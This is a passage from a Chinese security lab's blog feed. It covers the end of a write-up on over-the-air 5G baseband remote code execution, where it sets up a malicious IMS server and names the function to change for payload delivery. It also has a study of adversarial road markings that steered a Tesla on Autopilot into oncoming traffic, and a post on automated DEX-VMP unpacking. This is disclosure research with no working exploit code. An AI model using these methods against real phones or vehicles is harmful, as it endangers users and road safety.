title="5.1.2 LTE network setup"></a>5.1.2 LTE network setup</h4><p>我们使用了大量开源组件和硬件来完成我们的测试，以下是一些较为重要的:</p><ul><li>srsENB: 这是srsLTE中的eNodeB实现。 它负责直接无线连接到移动手机(UE)。</li><li>Open5GS：我们在LTE网络中使用了它的EPC实现。它们是hss、mme、pcrf、pgw、sgw。</li><li>sysmo-usim-tool&amp;pysim：SIM卡编程工具。</li><li>CoIMS&amp;CoIMS_Wiki：修改手机IMS设置的工具。</li><li>docker_open5gs：用于在docker容器中运行具有VoLTE支持的open5gs。</li></ul><p>UE能够在适当的LTE网络设置后连接到网络，然后我们可以继续进行IMS服务器设置。在我们的测试中，几乎所有不同厂商的基带对eNodeB的频率都非常敏感。您可以查看设备官方信息以获取其支持的频段，然后为srsENB选择合适的Downlink EARFCN参数。<br><img src="/zh/img/BH2021-over-air-baseband/5-1-2-band.png" alt="Band and frequency, (https://en.wikipedia.org/wiki/LTE_frequency_bands)"></p><h3 id="5-2-IMS-server-setup-hack"><a href="#5-2-IMS-server-setup-hack" class="headerlink" title="5.2 IMS server setup &amp; hack"></a>5.2 IMS server setup &amp; hack</h3><p>由于该漏洞只能由提供VoIP服务的恶意IMS服务器触发，因此基本的LTE网络不足以触发该漏洞。不幸的是，满足这种需求的基础设施还远未成熟。现有的开源项目Kamailio满足了我们的需求，但还没有在各种设备（包括我们使用的）上进行很好的测试。 需要付出巨大的努力才能使其工作并成功发送有效payload。<br>VoLTE服务器的基本组件是Rtpengine、FHOSS、P-CSCF、I-CSCF和S-CSCF。 以下是网络拓扑：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">SUBNET=172.18.0.0/24</span><br><span class="line">HSS_IP=172.18.0.2</span><br><span class="line">MME_IP=172.18.0.3</span><br><span class="line">SGW_IP=172.18.0.4</span><br><span class="line">PGW_IP=172.18.0.5</span><br><span class="line">PCRF_IP=172.18.0.6</span><br><span class="line">ENB_IP=172.18.0.7</span><br><span class="line">DNS_IP=172.18.0.10</span><br><span class="line">MONGO_IP=172.18.0.11</span><br><span class="line">PCSCF_IP=172.18.0.12</span><br><span class="line">ICSCF_IP=172.18.0.13</span><br><span class="line">SCSCF_IP=172.18.0.14</span><br><span class="line">FHOSS_IP=172.18.0.15</span><br><span class="line">MYSQL_IP=172.18.0.17</span><br><span class="line">RTPENGINE_IP=172.18.0.18</span><br></pre></td></tr></table></figure><p><img src="/zh/img/BH2021-over-air-baseband/5-2-network-topology.png" alt="Network topology of Open5GS and IMS, (https://raw.githubusercontent.com/miaoski/ docker_open5gs/master/network-topology.png)"></p><p>IMS(SIP)消息通过TCP或UDP套接字以IP数据的形式承载。因此,客户端会首先选择IPSec来进行消息传输。XML payload只能通过NOTIFY消息携带，因此我们的客户端必须成功REGISTER和SUBSCRIBE。<br><img src="/zh/img/BH2021-over-air-baseband/5-2-IMS.png" alt="(https://www.sharetechnote.com/html/IMS_SIP_Procedure_Reg_Auth_IPSec.html"></p><p>在进行初步的搭建后，一加6（non-IPSec）、Google Pixel 3（IPSec）可以成功注册VoLTE服务，这意味着我们的环境在高通的芯片上能够很好地工作。但是在使用三星芯片的手机上，整个流程会在注册时失败。<br>但是这些设备能够使用当地运营商的普通SIM卡注册VoLTE，这让我们对修改Kamailio配置和代码充满希望。 首先要做的是在电话上捕获成功的注册流量。 幸运的是，三星的Sysdump Utility中有一个内置的IMS调试工具IMS Logger，它允许我们查看来自应用程序的IMS流量。 下面是一个正常的注册消息及其响应：</p><p><img src="/zh/img/BH2021-over-air-baseband/5-2-register.jpg" alt="REGISTER message"></p><p><img src="/zh/img/BH2021-over-air-baseband/5-2-responses.jpg" alt="Server responses with challenge to the UE"></p><p><img src="/zh/img/BH2021-over-air-baseband/5-2-failed.png" alt="Failed registration response"></p><p>Kamailio和本地运营商之间存在一些差异。 我们并不真正知道哪个字段是注册失败的关键。 我们方法是让它们看起来尽可能相似。</p><p>在对Kamailio进行了一些更改后，我们取得了一点进展，我们收到了第二条注册消息。 那么问题就到了服务器端，它并没有提供STATUS 200响应。<br><img src="/zh/img/BH2021-over-air-baseband/5-2-wireshark.png"></p><p>经过调查，我们发现服务器和客户端之间的IPSec不一致。 我们决定从服务器端强制禁用IPSec。以下是我们打的补丁：<br><img src="/zh/img/BH2021-over-air-baseband/5-2-patch.png" alt="Patch to remove IPSec related headers"></p><p><img src="/zh/img/BH2021-over-air-baseband/5-2-patch2.png" alt="Part of the cfg patch"></p><h4 id="5-2-1参考"><a href="#5-2-1参考" class="headerlink" title="5.2.1参考"></a>5.2.1参考</h4><p><a href="https://nickvsnetworking.com/volte-ims-debugging-on-samsung-handsets-using-sysdump-samsung-ims-logger/">VoLTE&#x2F;IMS Debugging on Samsung Handsets using Sysdump &amp; Samsung IMS Logger</a><br><a href="https://nickvsnetworking.com/reverse-engineering-samsung-sysdump-utils-to-unlock-ims-debug-tcpdump-on-samsung-phones/">Reverse Engineering Samsung Sysdump Utils to Unlock IMS Debug &amp; TCPdump on Samsung Phones</a></p><h3 id="5-3-Payload-Delivery"><a href="#5-3-Payload-Delivery" class="headerlink" title="5.3. Payload Delivery"></a>5.3. Payload Delivery</h3><p>一旦UE注册并订阅到SIP服务器，服务器将发送NOTIFY消息以提供网络中的基本信息，比如其他UE的联系方式等。而payload会以XML的格式存在于NOTIFY消息中。该消息的负责模块是S-CSCF。这是要修改以生成任意有效payload的函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">str generate_reginfo_full(udomain_t* _t, str* impu_list, int num_impus, str *explit_dereg_contact, int num_explit_dereg_contact, unsigned int reginfo_version);</span><br></pre></td></tr></table></figure><h2 id="6-结论"><a href="#6-结论" class="headerlink" title="6.结论"></a>6.结论</h2><p>在这项研究中，我们展示了下一代Android设备配备的5G基带安全状态。尽管在网络功能方面已经发生了演变，但我们看到在安全性方面仍然没有过多进步。正如我们实际上已经展示的那样，一些基带缺乏最基本的安全措施，例如栈cookie保护，这让攻击者能够使用缓冲区溢出等简单攻击无线攻击它们。我们在三年前进行过安全研究，但是至今情况似乎没有太大改善。 我们希望在三年后我们可以再次展示一些研究，在一个更加严格的环境中。</p><p><a href="/zh/whitepapers/us-21-Over-The-Air-Baseband-Exploit-Gaining-Remote-Code-Execution-on-5G-Smartphones-wp.pdf">点击下载议题白皮书</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/BH2021-over-air-baseband/cover2.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;近年来，5G蜂窝网络被广泛应用。设备为了加入5G网络，都必须配备一个5G调制解调器，负责调制信号和执行无线电协议。该组件通常也被称为基带。这些组件非常重要，因为它们负责处理来自无线电网络的不可信数据。&lt;br&gt;在之前的工作中，科恩实验室研究了上一代网络（2G 3G 4G）的安全调制解调器，并实现了远程无接触的0-click代码执行。&lt;br&gt;本次Black Hat USA 2021，科恩实验室成员Marco与Xingyu Chen在北京时间8月5日凌晨以线上形式分享了议题&lt;strong&gt;《基带利用：远程5G智能手机代码执行》&lt;/strong&gt;。该议题探讨了5G网络发生的变化以及安全性方面的改进，并证明了仍然有可能通过无线的方式攻击5G调制解调器完成远程代码执行。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>科恩实验室最新自动驾驶安全研究成果发布于安全顶会USENIX Security 2021-以人造扰动欺骗车道线检测系统</title>
    <link href="https://keenlab.tencent.com/zh/2021/07/22/USENIX_Security2021_Tricking_Lane_Detection/"/>
    <id>https://keenlab.tencent.com/zh/2021/07/22/USENIX_Security2021_Tricking_Lane_Detection/</id>
    <published>2021-07-22T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/cover.png"></p><p>科恩实验室在2019年发布了对<a href="https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/">Telsa Autopilot的研究 [1]</a>，其中一项研究成果实现了对车道线系统的攻击。具体来说，我们在路面部署干扰信息后，可导致车辆经过时对车道线做出错误判断，致使车辆驶入反向车道。然而这种攻击依赖于人工调试，让攻击不够高效，不够自动化且不够隐蔽。<br>为完善该攻击方法，以及进一步测试现有车道线检测系统的安全性，我们基于黑盒测试和优化算法设计了一种自动化的攻击方法来找到人眼难以察觉，但却可以欺骗车道线检测系统的扰动。在实验阶段，这些扰动被布置在物理世界中，而处于自动驾驶状态的车辆成功被引入了逆向车道（如图.1所示）。</p><span id="more"></span><p><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/1.png" alt="图1 攻击场景：在十字路口引导自动驾驶车辆驶入逆向车道"></p><p>该研究由科恩实验室和香港理工大学罗夏朴教授团队及宾州州立大学王挺教授联合完成。<br>且相关论文: 《Too Good to Be Safe: Tricking Lane Detection in Autonomous Driving with Crafted Perturbations》发表于安全领域四大顶会中的USENIX Security 2021。<br><strong>Presentation link</strong>: <a href="https://www.usenix.org/conference/usenixsecurity21/presentation/jing">https://www.usenix.org/conference/usenixsecurity21/presentation/jing</a><br><strong>预发布论文下载见文末。</strong><br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/paper.png"></p><h2 id="关于USENIX-Security会议"><a href="#关于USENIX-Security会议" class="headerlink" title="关于USENIX Security会议"></a>关于USENIX Security会议</h2><p>USENIX Security会议是安全领域最具影响力的顶级学术会议之一，多年来的论文接受率均低于20%。其常与Oakland S&amp;P, CCS, NDSS并称为安全领域的四大顶会。USENIX Security 2021会议将于2021年8月11日-13日在线上举行。</p><h2 id="实验方法"><a href="#实验方法" class="headerlink" title="实验方法"></a>实验方法</h2><p>本次研究中Tesla 具体车型为Model S 75，其Autopilot硬件版本为2.5，软件版本为2018.6.1。基于对抗样本的思想，我们期望找到 1.人眼不容易发现，2.且可以欺骗系统的扰动。找到该种扰动的Two-stage攻击的框架如图.2所示：我们先基于黑盒测试和优化算法在数字图像层面找到最佳扰动 (Stage.1)，然后再将该扰动布置到物理世界 (Stage.2)。<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/2.png" alt="图2 以欺骗车道线检测系统为目的的Two-Stage Attack"></p><p><strong>Stage.1: 找到digital层面的最佳扰动</strong><br>首先，基于从Model S中提取的camera image（该图像后续将被用于车道线检测），我们以指定的参数对该图像加入形如车道线的扰动，然后将被篡改的图像送进车道线检测系统。同样，被篡改图像对应的lane image（车道线检测的结果）也将被从车内提取出来。基于1.加入扰动的可见度和2.被检测到的车道线强度，我们运用优化算法来找到1.最隐蔽，且2.有最好攻击效果的扰动。</p><p><strong>Stage.2: 在物理世界布置扰动并检测攻击效果</strong><br>在Stage.1中，加入扰动的参数是基于物理世界的坐标进行设计的（包括扰动的长宽，以及与车的相对坐标等）。因此，这些扰动能很方便地被布置在物理世界。在Stage.2，这些扰动被布置在车的前方。通过观察车道线检测的结果，以及自动驾驶系统是否对这些扰动进行相应，攻击的有效性得以证实。<br>具体来说，图.3展示了如何对这些扰动进行定义：我们采用一个多维向量来表征形似车道线的扰动，该向量中包括扰动的形状，相对车载摄像头的坐标，角度，数量等参数。一组扰动将由一组物理参数唯一决定，然后基于这些物理参数，通过摄像头的针眼模型和去畸变算法，这些扰动被加入到数字图像中并应用于后续的优化算法。<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/3.png" alt="图3 扰动的参数描述（基于物理世界坐标）"></p><p>我们采用了一共5种启发式算法来寻找最优的扰动，这些算法的表现如图.4所示。其中PSO（粒子群算法）拥有最好的综合性能。</p><p><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/4.png" alt="图4 各种启发式算法的对比：PSO拥有最好的综合性能"></p><h2 id="攻击效果"><a href="#攻击效果" class="headerlink" title="攻击效果"></a>攻击效果</h2><p>实验表明，在行驶过程中，检测模型的确将这些扰动视为真实的车道线，并且对其响应。具体来说，处于自动驾驶状态的车辆在十字路口被我们添加的扰动成功引入了逆向车道：</p><p>1.在十字路口场景下，车辆以自动驾驶模式在道路右侧行驶（此为正确的行驶方向）:<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/5-1.png"></p><p>2.在即将要通过十字路口时，车辆将地面上的扰动视为真实的车道线，并且随着这些扰动开始转弯:<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/5-2.png"></p><p>3.通过十字路口时，车辆跟随被检测到的假车道线驶入逆向车道:<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/5-3.png"></p><p>4.车辆保持在逆向车道上行驶:<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/5-4.png"></p><p>该过程中，对应的逐帧图像如下视频所示：<br><img src="/zh/img/USENIX_Security2021_Tricking_Lane_Detection/5-5.gif"></p><h2 id="补充说明"><a href="#补充说明" class="headerlink" title="补充说明"></a>补充说明</h2><p>本次发布的研究成果在Autopilot的2018.6.1版本上得到验证，研究团队未对Autopilot其他更高版本进行测试Tesla是否通过升级其模型来防范该攻击。但无论何种情况，为保证安全，建议即使在Autopilot辅助驾驶开启的情况下，车主也应该全神贯注于驾驶，且随时准备接管车辆的控制。</p><h2 id="AI能力建设"><a href="#AI能力建设" class="headerlink" title="AI能力建设"></a>AI能力建设</h2><p>自2018年起，腾讯安全科恩实验室积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索。基于对抗样本生成、二进制分析等问题的研究，先后在多个顶级期刊与会议上发表了特斯拉Autopilot的实验性安全研究、基于图神经网络的二进制代码分析、基于跨模态检索的二进制-源代码匹配等论文。同时，在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流，和香港科技大学、香港理工大学和中科院信息工程研究所展开合作科研。<br>科恩也将持续对这一前沿领域进行探索将其应用在安全领域中，近期科恩也将对外开放更多能力，敬请期待！</p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p><a href="https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/">[1]腾讯科恩实验室: 特斯拉Autopilot的实验性安全研究</a></p><p><a href="/zh/whitepapers/Tricking-Lane-Detection-pre-publication.pdf">点击下载预发布论文</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/USENIX_Security2021_Tricking_Lane_Detection/cover.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;科恩实验室在2019年发布了对&lt;a href=&quot;https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/&quot;&gt;Telsa Autopilot的研究 [1]&lt;/a&gt;，其中一项研究成果实现了对车道线系统的攻击。具体来说，我们在路面部署干扰信息后，可导致车辆经过时对车道线做出错误判断，致使车辆驶入反向车道。然而这种攻击依赖于人工调试，让攻击不够高效，不够自动化且不够隐蔽。&lt;br&gt;为完善该攻击方法，以及进一步测试现有车道线检测系统的安全性，我们基于黑盒测试和优化算法设计了一种自动化的攻击方法来找到人眼难以察觉，但却可以欺骗车道线检测系统的扰动。在实验阶段，这些扰动被布置在物理世界中，而处于自动驾驶状态的车辆成功被引入了逆向车道（如图.1所示）。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>ApkPecker自动化DEX-VMP脱壳功能全新上线</title>
    <link href="https://keenlab.tencent.com/zh/2021/07/19/ApkPecker_unpack2021/"/>
    <id>https://keenlab.tencent.com/zh/2021/07/19/ApkPecker_unpack2021/</id>
    <published>2021-07-19T09:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/ApkPecker_unpack2021/ApkpPecker_1_4.png"></p><p>腾讯安全科恩实验室自研的面向攻击面的Android应用自动化检测系统ApkPecker，正式上线自动化APK脱壳能力！线上ApkPecker系统提供高成功率的自动化脱壳服务，扩大漏洞扫描的覆盖面。限时扫码加入ApkPecker技术交流群，体验更高效的Android应用检测服务。</p><span id="more"></span><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>为避免Android应用程序被轻易逆向暴露程序逻辑，Android平台APP加固技术也不断发展。加固服务能一定程度提高Android应用程序被逆向的难度，但仍无法避免和防止应用程序自身的安全问题和漏洞。除此之外，恶意程序还能利用加固服务隐藏恶意行为逻辑。因此，通过研究Android应用程序通用自动脱壳方法，能客观评估加固的有效性，还能及时发现应用本身存在的安全问题，并为恶意应用程序的发现扫清障碍。<br>经过多年的发展和对抗，Android平台APP加固技术已经相当成熟，防护粒度从DEX整体加密开始，细化到方法级别和指令级别，不断增加逆向分析的难度和工作量来保护客户端代码。相应的，针对这些加固技术，也出现了很多通用的脱壳方法和工具。这些工具通过内存dump在运行时获取壳释放的APP原始代码，来实现DEX层通用脱壳。然而厂商也发展出了定制化的加固方法来对抗通用脱壳，DEX虚拟化(DEX-VMP)便是其中之一。DEX虚拟化加固使得常见的基于内存dump的通用脱壳工具不再适用，增加了自动化分析的难度。为帮助厂商进一步提升应用安全检测覆盖面，ApkPecker推出自动化DEX-VMP脱壳服务。</p><h3 id="DEX-VMP实现原理"><a href="#DEX-VMP实现原理" class="headerlink" title="DEX-VMP实现原理"></a>DEX-VMP实现原理</h3><p>DEX-VMP是一种基于虚拟机的DEX加固方案。DEX-VMP在加固阶段将App受保护的方法native化，抽取原始字节码并转换成自定义格式的字节码；在运行阶段，DEX-VMP使用自定义的Dalvik解释器来解释执行转换后的自定义字节码。表1展示了DEX-VMP加固前后的代码对比。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">// DEX-VMP 加固前App代码</span><br><span class="line">class Foo&#123;</span><br><span class="line">    void onCreate()&#123;</span><br><span class="line">        super.onCreate();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// DEX-VMP加固后App代码</span><br><span class="line">class Foo &#123;</span><br><span class="line">    void onCreate()&#123;</span><br><span class="line">        vm.v(0);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//厂商解释器入口函数</span><br><span class="line">class Vm &#123;</span><br><span class="line">    void native v(int methodId);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>图1展示了正常Dalvik代码和DEX-VMP保护的代码在执行时的区别。正常Dalvik代码由Android ART运行时执行，而被DEX-VMP Native化的方法在运行时通过JNI进入厂商解释器入口。厂商解释器可以进行各种定制化修改，例如使用自定义的Opcode映射表和指令格式，增加还原难度。DEX-VMP在厂商解释器中解释执行自定义的字节码，不释放原始Dalvik字节码，从而能够对抗通用脱壳技术。<br><img src="/zh/img/ApkPecker_unpack2021/ApkpPecker_1_1.png"></p><h3 id="DEX-VMP自动化脱壳难点"><a href="#DEX-VMP自动化脱壳难点" class="headerlink" title="DEX-VMP自动化脱壳难点"></a>DEX-VMP自动化脱壳难点</h3><ol><li>如何找到所有的自定义字节码?<br> 通用脱壳可以通过主动调用App的所有方法，在壳释放出Dalvik代码后，在ART内部获得所有方法的字节码。然而DEX-VMP使用了自定义的解释器，很难使用通用的方法获得其字节码。</li><li>如何将自定义字节码翻译成标准Dalvik<br> 厂商自定义的解释器对字节码进行了加密和转换。例如，解释器在执行前解密字节码，字节码中的opcode、常量索引等在加固时也被转换成内部对应的opcode和索引。同时，厂商的加固服务会周期性更换这些转换关系，增加还原的难度。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">while (1) &#123;</span><br><span class="line">    uint8_t* pc = vm_ctx-&gt;pc;</span><br><span class="line">    uint8_t opcode_xor_key = vm_ctx-&gt;xor_key;</span><br><span class="line">    uint8_t opcode = opcode_decrypt(*pc ^ opcode_xor_key); </span><br><span class="line">    switch (opcode &amp; 0xFF) &#123;</span><br><span class="line">    case 0x00: // add-int vAA,vBB,vCC</span><br><span class="line">        uint32_t AA = read_uint8(pc+1) ^ 0x12;//decrypt operand</span><br><span class="line">        uint32_t BB = read_uint8(pc+2) ^ 0x34;</span><br><span class="line">        uint32_t CC = read_uint8(pc+3) ^ 0x56;</span><br><span class="line">        </span><br><span class="line">        int32_t vBB = vm_ctx-&gt;registers[BB];</span><br><span class="line">        int32_t vCC = vm_ctx-&gt;registers[CC];</span><br><span class="line">        vm_ctx-&gt;registers[AA] = (uint32_t)(vBB + vCC);</span><br><span class="line">        pc += 4;         break;</span><br><span class="line">    case 0x01: // const-string vAA,string@BBBB</span><br><span class="line">        uint32_t AA = read_uint8(pc+1) ^ 0xab</span><br><span class="line">        //decrypt string index</span><br><span class="line">        uint32_t BBBB = read_uint32(pc+2) ^ 0xcdef;</span><br><span class="line">        jstring jstr = create_string_from_internal_index(BBBB);</span><br><span class="line">        vm_ctx-&gt;registers[AA] = (uint32_t)jstr;</span><br><span class="line">        pc+=4;</span><br><span class="line">        break;</span><br><span class="line">    ... // other handlers</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>表2展示了一个自定义Dalvik解释器的伪代码片段。pc指向待执行的指令，xor_key用来在执行前解密指令的opcode，registers数组代表寄存器。该例子中opcode 0x00对应的语义是<code>add-int</code>，0x01对应<code>const-string</code>，与Dalvik标准中opcode编号不同，并且使用了自定义的字符串索引，而不是DEX常量池中的字符串索引。<br>为了将自定义的字节码转换成符合Dalvik标准的字节码，需要从解释器中提取字节码的解密逻辑和自定义的常量池数据，同时也要需要识别opcode handler的语义。Dalvik 标准中有两百多条Opcode，人工从厂商解释器的二进制代码中识别这些handler对应的语义十分繁琐。</p><h2 id="ApkPecker的自动化DEX-VMP脱壳服务"><a href="#ApkPecker的自动化DEX-VMP脱壳服务" class="headerlink" title="ApkPecker的自动化DEX-VMP脱壳服务"></a>ApkPecker的自动化DEX-VMP脱壳服务</h2><p>腾讯安全科恩实验室研发的ApkPecker，是一款全自动的Android应用漏洞扫描工具，能够输出高质量漏洞扫描报告，提供高品质漏洞信息以及漏洞触发完整路径，精准定位漏洞并提供修复建议，帮助移动安全人员解决现有痛点，提升应用安全性。 在现有漏洞扫描的基础上，ApkPecker提供了自动化APK脱壳服务，针对市面主流加固厂商，以高成功率自动化脱壳，为移动安全分析人员解决了障碍，扩大漏洞扫描的覆盖面。</p><h3 id="DEX-VMP自动化脱壳方案"><a href="#DEX-VMP自动化脱壳方案" class="headerlink" title="DEX-VMP自动化脱壳方案"></a>DEX-VMP自动化脱壳方案</h3><p>ApkPecker支持恢复常见的DEX加密和指令抽取等类型的加固，同时，针对厂商的DEX虚拟化保护(DEX-VMP)， ApkPecker也进行了针对性脱壳和恢复。<br>ApkPecker在确定厂商字节码格式的基础上，通过AI学习厂商解释器二进制中opcode handler的运行时行为，从而自动化恢复出厂商解释器的opcode语义，还原出原始Dalvik字节码，并重写DEX文件。ApkPekcer的脱壳方案解决了opcode handler识别的难点，自动化还原被DEX-VMP保护的代码，提高了脱壳的完整度和自动化程度。图2展示了ApkPecker对指令抽取和DEX-VMP的脱壳效果。<br><img src="/zh/img/ApkPecker_unpack2021/ApkpPecker_1_2.png"></p><h3 id="脱壳覆盖面与成功率"><a href="#脱壳覆盖面与成功率" class="headerlink" title="脱壳覆盖面与成功率"></a>脱壳覆盖面与成功率</h3><p>整体来看，ApkPecker的脱壳能力可以通过以下几个关键指标体现：<br>● 支持的加固方法 ：DEX加密，指令抽取，DEX虚拟化<br>● 大规模测试下的脱壳成功率 &gt;&#x3D; 85%<br>ApkPecker脱壳功能适配主流的DEX加密、指令抽取和DEX虚拟化等加固方法。我们在主流App市场的测试发现，超过60%的的加固App受到不同程度的DEX-VMP保护，而ApkPecker对加固App的脱壳成功率高于85%。</p><h3 id="交流和体验"><a href="#交流和体验" class="headerlink" title="交流和体验"></a>交流和体验</h3><p>限时扫描二维码进入ApkPecker技术交流群，获取更多脱壳以及应用自动化检测技术资料，更有不定期福利放送。<br>浏览器中体验面向攻击面的Android应用自动化检测系统ApkPecker：<a href="https://apkpecker.qq.com/">ApkPecker在线地址</a>。<br><img src="/zh/img/ApkPecker_unpack2021/ApkpPecker_1_3.png"></p><h2 id="介绍视频"><a href="#介绍视频" class="headerlink" title="介绍视频"></a>介绍视频</h2><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=v3261bn9hns&tiny=0&auto=0" allowfullscreen></iframe></div>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/ApkPecker_unpack2021/ApkpPecker_1_4.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;腾讯安全科恩实验室自研的面向攻击面的Android应用自动化检测系统ApkPecker，正式上线自动化APK脱壳能力！线上ApkPecker系统提供高成功率的自动化脱壳服务，扩大漏洞扫描的覆盖面。限时扫码加入ApkPecker技术交流群，体验更高效的Android应用检测服务。&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>2021年CCF-腾讯犀牛鸟基金申请启动：“深度学习在软件安全领域的应用研究”课题</title>
    <link href="https://keenlab.tencent.com/zh/2021/05/28/Tencent-Keen-Security-Lab-2021-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/"/>
    <id>https://keenlab.tencent.com/zh/2021/05/28/Tencent-Keen-Security-Lab-2021-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/</id>
    <published>2021-05-28T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/ccf-keenlab-2021/ccf-2021.png"></p><p><em><a href="https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml">CCF-腾讯犀牛鸟基金</a>（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。</em></p><p><em>9年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。</em></p><span id="more"></span><h2 id="科恩AI能力建设"><a href="#科恩AI能力建设" class="headerlink" title="科恩AI能力建设"></a>科恩AI能力建设</h2><p>腾讯安全科恩实验室自2018年起积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索，在研究AI算法自身安全性方向获得突破性成果的基础上，持续探索如何将AI算法应用到传统安全研究当中。</p><ul><li>2019年3月，科恩实验室发布“<a href="https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/">特斯拉Autopilot的实验性安全研究</a>”，即首个实现对抗商用自动驾驶系统图像识别功能的研究案例。</li><li>2019年12月，科恩发布利用图神经网络解决二进制程序函数相似性分析问题成果，<a href="https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/">相关论文被人工智能顶级学术会议AAAI-20会议收录</a>。</li><li>2020年11月，科恩提出基于AI的二进制代码&#x2F;源代码端到端匹配算法，<a href="https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/">相关论文入选人工智能顶级学术会议NeurIPS 2020</a>。</li><li>2020年11月，科恩公开应用AI算法解决二进制安全问题的代码检索工具<a href="https://github.com/binaryai/sdk">BinaryAI</a>。</li><li>2021年3月，腾讯安全科恩实验室与香港理工大学合作关于Autopilot的最新研究成果被安全领域四大顶会中的USENIX Security 2021收录。</li></ul><p>在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流。自2019年起，科恩深度参与腾讯公司高校合作项目<a href="https://keenlab.tencent.com/zh/2020/05/19/Tencent-Keen-Security-Lab-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/">CCF-腾讯犀牛鸟基金</a>，与香港科技大学、香港理工大学、中科院信工所等多所院校在AI安全能力研究方向展开合作，并取得诸多成果。</p><p>为进一步深耕深度学习与软件安全研究领域，在<a 